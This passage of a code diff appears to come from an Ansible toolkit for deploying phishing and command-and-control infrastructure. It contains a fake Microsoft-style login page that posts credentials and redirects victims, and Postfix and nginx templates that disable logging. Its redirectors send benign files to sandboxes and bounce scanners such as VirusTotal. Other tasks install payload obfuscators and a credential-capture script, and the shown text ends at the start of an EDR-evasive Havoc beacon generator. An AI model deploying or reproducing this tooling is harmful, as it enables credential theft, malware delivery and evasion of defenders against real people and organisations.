||||
placeholder="{{ password_placeholder | default('Password') }}"
|
||||
required>
|
||||
</div>
|
||||
|
||||
<a href="#" class="forgot-password">{{ forgot_text | default('Forgot password?') }}</a>
|
||||
|
||||
<div class="error-message" id="error">
|
||||
{{ error_message | default('Invalid username or password.') }}
|
||||
</div>
|
||||
|
||||
<button type="submit" class="btn-primary">
|
||||
{{ button_text | default('Sign in') }}
|
||||
</button>
|
||||
|
||||
<div class="loading" id="loading">
|
||||
<div class="spinner"></div>
|
||||
<p>{{ loading_text | default('Signing in...') }}</p>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<div class="footer">
|
||||
<a href="#">{{ footer_link1 | default('Terms of use') }}</a> |
|
||||
<a href="#">{{ footer_link2 | default('Privacy & cookies') }}</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.getElementById('loginForm').addEventListener('submit', function(e) {
|
||||
e.preventDefault();
|
||||
|
||||
// Show loading state
|
||||
document.getElementById('loading').style.display = 'block';
|
||||
document.querySelector('.btn-primary').style.display = 'none';
|
||||
|
||||
// Submit form data
|
||||
fetch(this.action, {
|
||||
method: 'POST',
|
||||
body: new FormData(this)
|
||||
})
|
||||
.then(response => {
|
||||
// Redirect after a delay to simulate processing
|
||||
setTimeout(() => {
|
||||
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
||||
}, 2000);
|
||||
})
|
||||
.catch(error => {
|
||||
document.getElementById('error').style.display = 'block';
|
||||
document.getElementById('loading').style.display = 'none';
|
||||
document.querySelector('.btn-primary').style.display = 'block';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,69 @@
|
||||
{
|
||||
"deployment_id": "{{ deployment_id }}",
|
||||
"deployment_time": "{{ ansible_date_time.iso8601 }}",
|
||||
"provider": "{{ provider }}",
|
||||
"region": "{{ aws_region | default(linode_region) | default('') }}",
|
||||
|
||||
"infrastructure": {
|
||||
"mta_front": {
|
||||
"name": "{{ mta_front_name }}",
|
||||
"ip": "{{ mta_front_ip | default('') }}",
|
||||
"instance_id": "{{ mta_instance_id | default('') }}"
|
||||
},
|
||||
"gophish_server": {
|
||||
"name": "{{ gophish_server_name }}",
|
||||
"ip": "{{ gophish_server_ip | default('') }}",
|
||||
"instance_id": "{{ gophish_instance_id | default('') }}",
|
||||
"admin_port": "{{ gophish_admin_port }}"
|
||||
},
|
||||
"phishing_webserver": {
|
||||
"name": "{{ phishing_web_name }}",
|
||||
"ip": "{{ phishing_web_ip | default('') }}",
|
||||
"instance_id": "{{ phishing_web_instance_id | default('') }}"
|
||||
},
|
||||
"phishing_redirector": {
|
||||
"name": "{{ phishing_redirector_name }}",
|
||||
"ip": "{{ phishing_redirector_ip | default('') }}",
|
||||
"instance_id": "{{ phishing_redirector_instance_id | default('') }}"
|
||||
},
|
||||
{% if deploy_payload_infra | default(false) %}
|
||||
"payload_server": {
|
||||
"name": "{{ payload_server_name }}",
|
||||
"ip": "{{ payload_server_ip | default('') }}",
|
||||
"instance_id": "{{ payload_server_instance_id | default('') }}"
|
||||
},
|
||||
"payload_redirector": {
|
||||
"name": "{{ payload_redirector_name }}",
|
||||
"ip": "{{ payload_redirector_ip | default('') }}",
|
||||
"instance_id": "{{ payload_redirector_instance_id | default('') }}"
|
||||
},
|
||||
{% endif %}
|
||||
},
|
||||
|
||||
"domains": {
|
||||
"phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
|
||||
"mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
|
||||
{% if deploy_payload_infra | default(false) %}
|
||||
"payload_domain": "{{ payload_subdomain }}.{{ domain }}",
|
||||
{% endif %}
|
||||
},
|
||||
|
||||
"credentials": {
|
||||
"gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
|
||||
"smtp_auth_user": "{{ smtp_auth_user }}",
|
||||
"smtp_settings": {
|
||||
"host": "{{ mta_front_ip }}",
|
||||
"port": 25,
|
||||
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
|
||||
}
|
||||
},
|
||||
|
||||
"security_groups": {
|
||||
{% if provider == 'aws' %}
|
||||
"mta_sg": "{{ mta_security_group_id | default('') }}",
|
||||
"gophish_sg": "{{ gophish_security_group_id | default('') }}",
|
||||
"web_sg": "{{ web_security_group_id | default('') }}",
|
||||
"redirector_sg": "{{ redirector_security_group_id | default('') }}"
|
||||
{% endif %}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
# Postfix MTA Front Configuration for Phishing Infrastructure
|
||||
# This server acts as the front-end mail relay
|
||||
|
||||
# Basic settings
|
||||
myhostname = {{ mta_hostname | default('mail.' + domain) }}
|
||||
mydomain = {{ domain }}
|
||||
myorigin = $mydomain
|
||||
mydestination = $myhostname, localhost
|
||||
inet_interfaces = all
|
||||
inet_protocols = ipv4
|
||||
|
||||
# Network settings
|
||||
mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
|
||||
relay_domains = $mydestination
|
||||
|
||||
# SMTP smuggling mitigation
|
||||
smtpd_forbid_bare_newline = yes
|
||||
smtpd_forbid_bare_newline_reject_code = 550
|
||||
|
||||
# TLS Configuration
|
||||
smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
|
||||
smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
|
||||
smtpd_use_tls = yes
|
||||
smtpd_tls_security_level = may
|
||||
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
|
||||
smtp_tls_security_level = may
|
||||
|
||||
# SASL Authentication
|
||||
smtpd_sasl_auth_enable = yes
|
||||
smtpd_sasl_type = dovecot
|
||||
smtpd_sasl_path = private/auth
|
||||
smtpd_sasl_security_options = noanonymous
|
||||
smtpd_sasl_authenticated_header = yes
|
||||
|
||||
# Restrictions
|
||||
smtpd_helo_required = yes
|
||||
smtpd_recipient_restrictions =
|
||||
permit_mynetworks,
|
||||
permit_sasl_authenticated,
|
||||
reject_unauth_destination,
|
||||
reject_unauth_pipelining,
|
||||
reject_invalid_helo_hostname,
|
||||
reject_non_fqdn_helo_hostname
|
||||
|
||||
# Rate limiting
|
||||
smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
|
||||
smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
|
||||
|
||||
# Message size and queue settings
|
||||
message_size_limit = {{ max_message_size | default(10240000) }}
|
||||
mailbox_size_limit = 0
|
||||
queue_lifetime = 1h
|
||||
maximal_queue_lifetime = 1h
|
||||
bounce_queue_lifetime = 0
|
||||
|
||||
# Header modifications
|
||||
header_checks = regexp:/etc/postfix/header_checks
|
||||
|
||||
# DKIM signing
|
||||
milter_default_action = accept
|
||||
milter_protocol = 6
|
||||
smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
|
||||
non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
|
||||
|
||||
# Logging
|
||||
{% if zero_logs | default(true) %}
|
||||
# Zero-logs configuration
|
||||
syslog_facility = local0
|
||||
syslog_name =
|
||||
maillog_file = /dev/null
|
||||
{% endif %}
|
||||
@@ -0,0 +1,82 @@
|
||||
# Payload Redirector Configuration
|
||||
# Serves payloads with anti-analysis features
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ payload_subdomain }}.{{ domain }};
|
||||
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl http2;
|
||||
listen [::]:443 ssl http2;
|
||||
server_name {{ payload_subdomain }}.{{ domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
|
||||
root /var/www/payloads;
|
||||
|
||||
# Anti-analysis headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Download-Options "noopen" always;
|
||||
add_header X-Robots-Tag "noindex, nofollow" always;
|
||||
|
||||
# Serve different content based on user agent
|
||||
location ~ ^/download/(.+)$ {
|
||||
# Check if request is from analysis environment
|
||||
if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
|
||||
# Serve benign file
|
||||
rewrite ^/download/(.+)$ /benign/document.pdf last;
|
||||
}
|
||||
|
||||
# Check for valid download token
|
||||
secure_link $arg_token,$arg_expires;
|
||||
secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
|
||||
|
||||
if ($secure_link = "") {
|
||||
return 403;
|
||||
}
|
||||
|
||||
if ($secure_link = "0") {
|
||||
return 410;
|
||||
}
|
||||
|
||||
# Serve actual payload
|
||||
try_files /payloads/$1 =404;
|
||||
}
|
||||
|
||||
# Direct file access with referrer check
|
||||
location /files/ {
|
||||
valid_referers none blocked server_names
|
||||
*.{{ domain }}
|
||||
{{ allowed_referrers | default([]) | join(' ') }};
|
||||
|
||||
if ($invalid_referer) {
|
||||
return 403;
|
||||
}
|
||||
|
||||
alias /var/www/payloads/;
|
||||
autoindex off;
|
||||
}
|
||||
|
||||
# Benign files for analysis environments
|
||||
location /benign/ {
|
||||
alias /var/www/payloads/benign/;
|
||||
autoindex off;
|
||||
}
|
||||
|
||||
# Block all other access
|
||||
location / {
|
||||
return 404;
|
||||
}
|
||||
|
||||
{% if zero_logs | default(true) %}
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
# Phishing Redirector Configuration
|
||||
# Advanced evasion and filtering
|
||||
|
||||
# Security tool detection
|
||||
map $http_user_agent $is_security_scanner {
|
||||
default 0;
|
||||
~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
|
||||
}
|
||||
|
||||
# Geo-filtering map
|
||||
map $geoip_country_code $allowed_country {
|
||||
default 1;
|
||||
{% for country in blocked_countries | default([]) %}
|
||||
{{ country }} 0;
|
||||
{% endfor %}
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ phishing_subdomain }}.{{ domain }};
|
||||
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl http2;
|
||||
listen [::]:443 ssl http2;
|
||||
server_name {{ phishing_subdomain }}.{{ domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_ciphers HIGH:!aNULL:!MD5;
|
||||
ssl_prefer_server_ciphers on;
|
||||
|
||||
# Security headers to appear legitimate
|
||||
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer-when-downgrade" always;
|
||||
|
||||
# Block security scanners
|
||||
if ($is_security_scanner) {
|
||||
return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
|
||||
}
|
||||
|
||||
# Geo-blocking
|
||||
if ($allowed_country = 0) {
|
||||
return 403;
|
||||
}
|
||||
|
||||
# Rate limiting
|
||||
limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
|
||||
limit_req zone=phishing burst=20 nodelay;
|
||||
|
||||
# GoPhish tracking and landing pages
|
||||
location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
|
||||
proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# Phishing landing pages
|
||||
location / {
|
||||
proxy_pass http://{{ phishing_web_ip }}:80;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# Block direct access to sensitive paths
|
||||
location ~ /\.(git|env|htaccess|htpasswd) {
|
||||
deny all;
|
||||
return 404;
|
||||
}
|
||||
|
||||
{% if zero_logs | default(true) %}
|
||||
# Zero-logs configuration
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
# Catch-all server block
|
||||
server {
|
||||
listen 80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
listen 443 ssl default_server;
|
||||
listen [::]:443 ssl default_server;
|
||||
|
||||
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
|
||||
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
|
||||
|
||||
return 302 https://www.{{ legitimate_redirect | default('google.com') }};
|
||||
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
+177
@@ -0,0 +1,177 @@
|
||||
.
|
||||
├── ansible.cfg
|
||||
├── c2
|
||||
│ ├── files
|
||||
│ ├── tasks
|
||||
│ └── templates
|
||||
│ ├── generate_evasive_beacons.sh.j2
|
||||
│ ├── generate_havoc_payloads.sh.j2
|
||||
│ ├── havoc-config.yaotl.j2
|
||||
│ └── havoc-guide.j2
|
||||
├── chat-server
|
||||
│ ├── files
|
||||
│ ├── tasks
|
||||
│ └── templates
|
||||
├── deploy.py
|
||||
├── hashtopolish-server
|
||||
│ ├── files
|
||||
│ ├── tasks
|
||||
│ └── templates
|
||||
├── logging-server
|
||||
│ ├── files
|
||||
│ ├── tasks
|
||||
│ └── templates
|
||||
├── logs
|
||||
├── payload-server
|
||||
│ ├── files
|
||||
│ ├── payload_redirector.yml
|
||||
│ ├── payload_server.yml
|
||||
│ ├── tasks
|
||||
│ └── templates
|
||||
├── phishing
|
||||
│ ├── cleanup_phishing.yml
|
||||
│ ├── deploy_phishing_infrastructure.yml
|
||||
│ ├── files
|
||||
│ ├── gophish_server.yml
|
||||
│ ├── mta_front.yml
|
||||
│ ├── phishing_redirector.yml
|
||||
│ ├── phishing_webserver.yml
|
||||
│ ├── Plan.md
|
||||
│ ├── tasks
|
||||
│ └── templates
|
||||
│ ├── email-templates
|
||||
│ │ ├── file_share.j2
|
||||
│ │ ├── office365_login.j2
|
||||
│ │ ├── password_expiry.j2
|
||||
│ │ └── security_alert.j2
|
||||
│ ├── fake-login.html.j2
|
||||
│ ├── fedramp-compliance.j2
|
||||
│ ├── gophish-advanced-config.j2
|
||||
│ ├── gophish-config.j2
|
||||
│ ├── nginx-phishing-webserver.j2
|
||||
│ ├── phishing_deployment_state.j2
|
||||
│ ├── phishing-landing-page.j2
|
||||
│ └── postfix-mta-front.j2
|
||||
├── PROJECT-STATUS.md
|
||||
├── providers
|
||||
│ ├── AWS
|
||||
│ │ ├── AMI-ID-Grabber.sh
|
||||
│ │ ├── c2-vars-template.yaml
|
||||
│ │ ├── c2.yml
|
||||
│ │ ├── cleanup.yml
|
||||
│ │ ├── files
|
||||
│ │ ├── infrastructure.yml
|
||||
│ │ ├── process_vpc.yml
|
||||
│ │ ├── redirector.yml
|
||||
│ │ ├── tasks
|
||||
│ │ ├── templates
|
||||
│ │ └── vars.yaml
|
||||
│ ├── FlokiNET
|
||||
│ │ ├── c2-deploy.yaml
|
||||
│ │ ├── c2.yml
|
||||
│ │ ├── cleanup.yml
|
||||
│ │ ├── files
|
||||
│ │ ├── flokinet-security.yml
|
||||
│ │ ├── provision.yml
|
||||
│ │ ├── redirector.yml
|
||||
│ │ ├── tasks
|
||||
│ │ └── templates
|
||||
│ └── Linode
|
||||
│ ├── c2.yml
|
||||
│ ├── cleanup.yml
|
||||
│ ├── files
|
||||
│ ├── redirector.yml
|
||||
│ ├── tasks
|
||||
│ ├── templates
|
||||
│ ├── tracker.yml
|
||||
│ └── vars.yaml
|
||||
├── README.md
|
||||
├── redirectors
|
||||
│ ├── files
|
||||
│ ├── tasks
|
||||
│ └── templates
|
||||
│ ├── nginx-payload-redirector.j2
|
||||
│ ├── nginx-phishing-redirector.j2
|
||||
│ ├── redirector-havoc-fragment.j2
|
||||
│ ├── redirector-index.html.j2
|
||||
│ ├── redirector-site.conf.j2
|
||||
│ └── redirector-site-with-tracker.conf.j2
|
||||
├── requirements.txt
|
||||
├── share-drive
|
||||
│ ├── files
|
||||
│ ├── tasks
|
||||
│ └── templates
|
||||
├── structure.txt
|
||||
├── tracker
|
||||
└── universal
|
||||
├── files
|
||||
│ ├── clean-logs.sh
|
||||
│ ├── havoc_installer.sh
|
||||
│ ├── havoc_mutate.sh
|
||||
│ ├── havoc_shell_handler.sh
|
||||
│ ├── implant_mutator.sh
|
||||
│ ├── persistent-listener.sh
|
||||
│ ├── post_install_c2.sh
|
||||
│ ├── post_install_redirector.sh
|
||||
│ ├── randomize_ports.sh
|
||||
│ ├── rubber-ducky.txt
|
||||
│ ├── secure-exit.sh
|
||||
│ ├── secure_payload_sync.sh
|
||||
│ ├── simple_email_tracker.py
|
||||
│ ├── tracker-nginx.conf
|
||||
│ ├── tracker.service
|
||||
│ └── tracker-stats.sh
|
||||
├── tasks
|
||||
│ ├── cleanup_confirmation.yml
|
||||
│ ├── configure_advanced_evasion.yml
|
||||
│ ├── configure_c2.yml
|
||||
│ ├── configure_fedramp_compliance.yml
|
||||
│ ├── configure_gophish_advanced.yml
|
||||
│ ├── configure_integrated_tracker.yml
|
||||
│ ├── configure_mail.yml
|
||||
│ ├── configure_mta_front.yml
|
||||
│ ├── configure_payload_redirector.yml
|
||||
│ ├── configure_payload_server.yml
|
||||
│ ├── configure_phishing_redirector.yml
|
||||
│ ├── configure_phishing_server.yml
|
||||
│ ├── configure_phishing_webserver.yml
|
||||
│ ├── configure_redirector.yml
|
||||
│ ├── initial-infrastructure.yml
|
||||
│ ├── install_tools.yml
|
||||
│ ├── port_randomization.yml
|
||||
│ ├── security_hardening.yml
|
||||
│ ├── setup_phishing_security.yml
|
||||
│ └── traffic_flow_config.yml
|
||||
└── templates
|
||||
├── capture.php.j2
|
||||
├── default-site.j2
|
||||
├── generate_evasive_beacons.sh.j2
|
||||
├── generate_havoc_payloads.sh.j2
|
||||
├── havoc-config.yaotl.j2
|
||||
├── havoc-guide.j2
|
||||
├── index.html.j2
|
||||
├── infrastructure_state.j2
|
||||
├── linux_loader.sh.j2
|
||||
├── manifest.json.j2
|
||||
├── motd-aws.j2
|
||||
├── motd.j2
|
||||
├── motd-linode.j2
|
||||
├── motd-redirector.j2
|
||||
├── nginx.conf.j2
|
||||
├── POST_INSTALL_INSTRUCTIONS.txt.j2
|
||||
├── proxychains.conf.j2
|
||||
├── reference.txt.j2
|
||||
├── resolv.conf.j2
|
||||
├── secure-ssh.sh.j2
|
||||
├── serve-havoc-payloads.sh.j2
|
||||
├── setup-cert.sh.j2
|
||||
├── shell-handler.service.j2
|
||||
├── simple_email_tracker.py.j2
|
||||
├── stream.conf.j2
|
||||
├── torrc.j2
|
||||
├── tracker-config.j2
|
||||
├── tracker-nginx.conf.j2
|
||||
├── tracker.service.j2
|
||||
└── windows_loader.ps1.j2
|
||||
|
||||
53 directories, 122 files
|
||||
@@ -0,0 +1,89 @@
|
||||
---
|
||||
# Configure payload redirector for hosting and delivering payloads
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create payload directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- /var/www/payloads
|
||||
- /var/www/payloads/windows
|
||||
- /var/www/payloads/linux
|
||||
- /var/www/payloads/macos
|
||||
- /var/www/payloads/docs
|
||||
|
||||
- name: Configure NGINX for payload delivery
|
||||
template:
|
||||
src: "../templates/phishing/nginx-payload-redirector.j2"
|
||||
dest: /etc/nginx/sites-available/payloads
|
||||
mode: '0644'
|
||||
|
||||
- name: Enable payload site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/payloads
|
||||
dest: /etc/nginx/sites-enabled/payloads
|
||||
state: link
|
||||
|
||||
- name: Create payload sync script
|
||||
template:
|
||||
src: "../templates/phishing/sync_payloads.sh.j2"
|
||||
dest: /root/Tools/sync_payloads.sh
|
||||
mode: '0700'
|
||||
|
||||
- name: Set up payload sync timer
|
||||
block:
|
||||
- name: Create systemd service
|
||||
copy:
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Payload Sync Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/root/Tools/sync_payloads.sh
|
||||
User=root
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
dest: /etc/systemd/system/payload-sync.service
|
||||
|
||||
- name: Create systemd timer
|
||||
copy:
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Payload Sync Timer
|
||||
Requires=payload-sync.service
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=15min
|
||||
Persistent=true
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
dest: /etc/systemd/system/payload-sync.timer
|
||||
|
||||
- name: Enable and start timer
|
||||
systemd:
|
||||
name: payload-sync.timer
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Configure firewall rules
|
||||
include_tasks: security_hardening.yml
|
||||
vars:
|
||||
server_role: "payload_redirector"
|
||||
@@ -0,0 +1,78 @@
|
||||
---
|
||||
# Configure payload server for creating and hosting malicious payloads
|
||||
|
||||
- name: Install payload generation tools
|
||||
apt:
|
||||
name:
|
||||
- mingw-w64
|
||||
- golang
|
||||
- python3-pip
|
||||
- upx-ucl
|
||||
- osslsigncode
|
||||
- mono-complete
|
||||
- wine64
|
||||
- wine32
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create payload directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
loop:
|
||||
- /root/Tools/payloads
|
||||
- /root/Tools/payloads/templates
|
||||
- /root/Tools/payloads/output
|
||||
- /root/Tools/payloads/scripts
|
||||
|
||||
- name: Install Python payload tools
|
||||
pip:
|
||||
name:
|
||||
- pycryptodome
|
||||
- pyinstaller
|
||||
- py2exe
|
||||
state: present
|
||||
|
||||
- name: Clone payload generation tools
|
||||
git:
|
||||
repo: "{{ item.repo }}"
|
||||
dest: "{{ item.dest }}"
|
||||
loop:
|
||||
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
|
||||
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
|
||||
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
|
||||
|
||||
- name: Build Go tools
|
||||
shell: |
|
||||
cd {{ item }} && go build
|
||||
args:
|
||||
creates: "{{ item }}/{{ item | basename }}"
|
||||
loop:
|
||||
- /root/Tools/go-donut
|
||||
- /root/Tools/ScareCrow
|
||||
|
||||
- name: Deploy payload generation scripts
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0700'
|
||||
loop:
|
||||
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
|
||||
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
|
||||
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
|
||||
|
||||
- name: Create payload hosting service
|
||||
template:
|
||||
src: "../templates/phishing/payload-server.service.j2"
|
||||
dest: /etc/systemd/system/payload-server.service
|
||||
mode: '0644'
|
||||
|
||||
- name: Start payload server
|
||||
systemd:
|
||||
name: payload-server
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
@@ -0,0 +1,85 @@
|
||||
---
|
||||
# Configure phishing web server with landing pages and credential capture
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- php-fpm
|
||||
- php-json
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Create web directories
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- /var/www/phishing
|
||||
- /var/www/phishing/templates
|
||||
- /var/www/phishing/static
|
||||
- /var/www/phishing/captures
|
||||
- /var/private/phishing_creds
|
||||
|
||||
- name: Deploy phishing templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
loop:
|
||||
- { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
|
||||
- { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
|
||||
- { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
|
||||
- { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
|
||||
- { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
|
||||
|
||||
- name: Deploy credential capture script
|
||||
template:
|
||||
src: "../templates/phishing/capture.php.j2"
|
||||
dest: "/var/www/phishing/capture.php"
|
||||
mode: '0640'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Configure NGINX for phishing sites
|
||||
template:
|
||||
src: "../templates/phishing/nginx-phishing-webserver.j2"
|
||||
dest: /etc/nginx/sites-available/phishing
|
||||
mode: '0644'
|
||||
|
||||
- name: Enable phishing site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/phishing
|
||||
dest: /etc/nginx/sites-enabled/phishing
|
||||
state: link
|
||||
|
||||
- name: Remove default nginx site
|
||||
file:
|
||||
path: /etc/nginx/sites-enabled/default
|
||||
state: absent
|
||||
|
||||
- name: Configure PHP-FPM for security
|
||||
lineinfile:
|
||||
path: /etc/php/7.4/fpm/php.ini
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
loop:
|
||||
- { regexp: '^expose_php', line: 'expose_php = Off' }
|
||||
- { regexp: '^display_errors', line: 'display_errors = Off' }
|
||||
- { regexp: '^log_errors', line: 'log_errors = On' }
|
||||
|
||||
- name: Restart services
|
||||
systemd:
|
||||
name: "{{ item }}"
|
||||
state: restarted
|
||||
enabled: yes
|
||||
loop:
|
||||
- nginx
|
||||
- php7.4-fpm
|
||||
@@ -0,0 +1,456 @@
|
||||
#!/bin/bash
|
||||
# EDR-evasive beacon generator for Havoc C2
|
||||
# Every deployment produces completely unique payloads
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
BEACONS_DIR="/root/Tools/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $BEACONS_DIR/windows
|
||||
mkdir -p $BEACONS_DIR/linux
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
mkdir -p $BEACONS_DIR/shellcode
|
||||
|
||||
# Load Havoc configuration from profile
|
||||
if [ -f "$PROFILE_FILE" ]; then
|
||||
echo "[+] Loading Havoc configuration from profile..."
|
||||
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
|
||||
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
|
||||
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
|
||||
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
|
||||
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
|
||||
else
|
||||
echo "[!] Warning: Profile file not found, using default values"
|
||||
TEAMSERVER_PORT=40056
|
||||
ADMIN_USER="admin"
|
||||
ADMIN_PASS="admin"
|
||||
HTTP_PORT=8080
|
||||
HTTPS_PORT=443
|
||||
fi
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Anti-detection function to modify binary files
|
||||
modify_binary() {
|
||||
local input_file=$1
|
||||
|
||||
echo "[+] Applying anti-detection modifications to: $input_file"
|
||||
|
||||
# Create a temporary file
|
||||
local temp_file="${input_file}.tmp"
|
||||
cp "$input_file" "$temp_file"
|
||||
|
||||
# Modify the file based on its type
|
||||
if file "$input_file" | grep -q "PE32"; then
